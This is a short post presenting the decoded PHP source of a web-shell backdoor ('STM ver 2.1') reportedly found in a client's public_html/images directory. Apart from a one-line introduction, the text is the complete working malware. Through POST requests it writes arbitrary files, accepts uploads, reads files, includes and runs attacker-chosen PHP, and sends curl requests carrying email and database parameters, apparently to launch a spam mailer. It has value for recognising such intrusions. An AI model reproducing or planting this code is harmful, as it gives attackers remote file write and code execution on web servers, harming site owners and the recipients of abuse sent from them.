This is the final decoded version of a server hack found on a client's server

finalstm.php

<?php
if (empty ( $_POST ['mode'] ) or empty ( $_POST ['name'] ))
  exit ( '0' );
switch ($_POST ['mode']) {
	case 'load' :
		if (empty ( $_POST ['data'] ))
			exit ( 'no data' );
		$IIIIIIII1Ill = fopen ( $_POST ['name'], 'w' ) or exit ( $_POST ['name'] . ' - load_no [' . dirname ( '/home/client/public_html/images/stm.php' ) . '/' . $_POST ['name'] . ']' );
		fwrite ( $IIIIIIII1Ill, urldecode ( $_POST ['data'] ) );
		fclose ( $IIIIIIII1Ill );
		echo $_POST ['name'] . ' - load_ok';
		exit ();
		break;
	case 'loadf' :
		if (empty ( $_FILES ['upload'] ['tmp_name'] ))
			exit ( 'Err_upload ' . print_r ( $_FILES, true ) );
		if (! @move_uploaded_file ( $_FILES ['upload'] ['tmp_name'], $_POST ['name'] )) {
			echo $_POST ['name'] . ' - load_no [' . print_r ( $_FILES, true ) . ']';
			exit ();
		}
		echo $_POST ['name'] . ' - load_ok';
		exit ();
		break;
	case 'run' :
		if (empty ( $_POST ['email'] ) or empty ( $_POST ['bd'] ) or empty ( $_POST ['run'] ))
			exit ( '1' );
		$IIIIIIII1I1I = CURL_INIT ();
		CURL_SETOPT ( $IIIIIIII1I1I, CURLOPT_URL, $_SERVER ['SERVER_NAME'] . dirname ( $_SERVER ['REQUEST_URI'] ) . '/' . $_POST ['run'] );
		CURL_SETOPT ( $IIIIIIII1I1I, CURLOPT_RETURNTRANSFER, 0 );
		CURL_SETOPT ( $IIIIIIII1I1I, CURLOPT_POST, 1 );
		CURL_SETOPT ( $IIIIIIII1I1I, CURLOPT_POSTFIELDS, 'run=1' . '&' . 'name=' . $_POST ['name'] . '&' . 'email=' . $_POST ['email'] . '&' . 'bd=' . $_POST ['bd'] );
		CURL_SETOPT ( $IIIIIIII1I1I, CURLOPT_CONNECTTIMEOUT, 5 );
		CURL_EXEC ( $IIIIIIII1I1I );
		if (curl_error ( $IIIIIIII1I1I )) {
			exit ( curl_error ( $IIIIIIII1I1I ) );
		}
		CURL_CLOSE ( $IIIIIIII1I1I );
		exit ( $_POST ['email'] . ' - run_ok' );
		break;
	case 'start' :
		$IIIIIIIIl11I = dirname ( '/home/client/public_html/images/stm.php' ) . '/' . $_POST ['run'];
		if (! is_readable ( $IIIIIIIIl11I ))
			exit ( $_POST ['run'] . ' - Err start file' );
		if (file_exists ( dirname ( '/home/client/public_html/images/stm.php' ) . '/lstm.jpg' )) {
			if (! @unlink ( dirname ( '/home/client/public_html/images/stm.php' ) . '/lstm.jpg' ))
				exit ( 'No Delet lstm' );
		}
		@include ($IIIIIIIIl11I);
		break;
	case 'restart' :
		$IIIIIIIIl11I = dirname ( '/home/client/public_html/images/stm.php' ) . '/' . $_POST ['run'];
		if (! is_readable ( $IIIIIIIIl11I ))
			exit ( $_POST ['run'] . ' - Err restart file' );
		@include ($IIIIIIIIl11I);
		break;
	case 'read' :
		$IIIIIIIIl11I = dirname ( '/home/client/public_html/images/stm.php' ) . '/' . $_POST ['name'];
		if (! is_readable ( $IIIIIIIIl11I ))
			exit ( $_POST ['name'] . ' - Err file' );
		echo file_get_contents ( $IIIIIIIIl11I );
		exit ();
		break;
	case 'info' :
		exit ( 'STM ver 2.1' );
		break;
	default :
		exit ( $_POST ['mode'] );
}
;
?>